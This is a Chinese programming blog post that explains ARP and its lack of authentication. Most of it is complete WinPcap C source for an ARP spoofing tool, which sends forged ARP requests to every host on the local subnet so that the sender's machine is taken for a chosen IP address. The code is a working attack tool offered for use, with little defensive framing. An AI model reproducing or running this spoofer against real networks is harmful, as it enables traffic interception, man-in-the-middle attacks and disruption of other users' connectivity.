您的位置:首页 > 编程语言

Windows的WinPcap编程实现ARP欺骗的基本功能的源码

2017-01-07 11:37 489 查看
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。

鉴于ARP协议是一个链路层的协议,Windows Sockets无法控制,所以在掌握ARP的基础上,使用WinPcap编程实现ARP欺骗的基本功能。

基本代码如下:

// ARPSpoofing.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "pcap.h"
#include "packet32.h"
#include "ntddndis.h"
#include "ARPSpoofing.h"

int main(int argc,char* argv[])
{
pcap_if_t *alldevs; //全部网卡列表
pcap_if_t *d; //一个网卡
int inum; //用户选择的网卡序号
int i=0; //循环变量
pcap_t *adhandle; //一个pcap实例
char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
unsigned char *mac; //本机MAC地址
unsigned char *packet; //ARP包
unsigned long fakeIp; //要伪装成的IP地址
pcap_addr_t *pAddr; //网卡地址
unsigned long ip; //IP地址
unsigned long netmask; //子网掩码

/* 从参数列表中获得要伪装的IP地址 */
if(argc!=2)
{
printf("Usage: %s inet_addr\n",argv[0]);
return -1;
}
fakeIp = inet_addr(argv[1]);

if(INADDR_NONE == fakeIp)
{
fprintf(stderr,"Invalid IP: %s\n",argv[1]);
return -1;
}

/* 获得本机网卡列表 */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
for(d = alldevs; d; d = d->next)
{
printf("%d", ++i);
if(d->description)
printf(". %s\n", d->description);
else
printf(". No description available\n");
}
//如果没有发现网卡
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
//用户选择一个网卡
printf("Enter the interface number (1-%d):", i);
scanf_s("%d", &inum,sizeof(int));

if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
return -1;
}

/* 移动指针到用户选择的网卡 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

mac = GetSelfMac(d->name); //+8以去掉"rpcap://"
if (mac == NULL)
{
printf("\n本地MAC地址获取失败.\n");
return -1;
}

printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], argv[1]);

/* 打开网卡 */
if ((adhandle = pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture
0, // open flag
1000, // read timeout
errbuf // error buffer
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return -1;
}

for(pAddr = d->addresses; pAddr; pAddr=pAddr->next)
{
//得到用户选择的网卡的一个IP地址
ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
//得到该IP地址对应的子网掩码
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;

if (!ip || !netmask)
{
continue;
}

//看这个IP和要伪装的IP是否在同一个子网
if((ip&netmask)!=(fakeIp&netmask))
{
continue; //如果不在一个子网,继续遍历地址列表
}

unsigned long netsize = ntohl(~netmask); //网络中主机数
unsigned long net = ip & netmask; //子网地址

for(unsigned long n=1; n<netsize; n++)
{
//第i台主机的IP地址,网络字节顺序
unsigned long destIp = net | htonl(n);
//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
packet = BuildArpPacket(mac,fakeIp,destIp);

if(pcap_sendpacket(adhandle, packet, 60)==-1)
{
fprintf(stderr,"pcap_sendpacket error.\n");
}
}
return 0;
}

return 0;
}

/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName)
{
static u_char mac[6];
memset(mac,0,sizeof(mac));
LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);

if(Status)
{
memcpy(mac,(u_char*)(OidData->Data),6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);

return mac;
}

/*
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP)
{
static struct arp_packet packet;

//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac, 0xFF, 6);
//源MAC地址
memcpy(packet.eth.source_mac, source_mac, 6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type = htons(0x0806);
//硬件类型,Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上层协议类型,IP为0x0800
packet.arp.protocol_type = htons(0x0800);
//硬件地址长度:MAC地址长度为0x06
packet.arp.add_len = 0x06;
//协议地址长度:IP地址长度为0x04
packet.arp.pro_len = 0x04;
//操作:ARP请求为1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr,source_mac,6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr,0,6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充数据,18个字节
memset(packet.arp.padding,0,18);

return (unsigned char*)&packet;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
相关文章推荐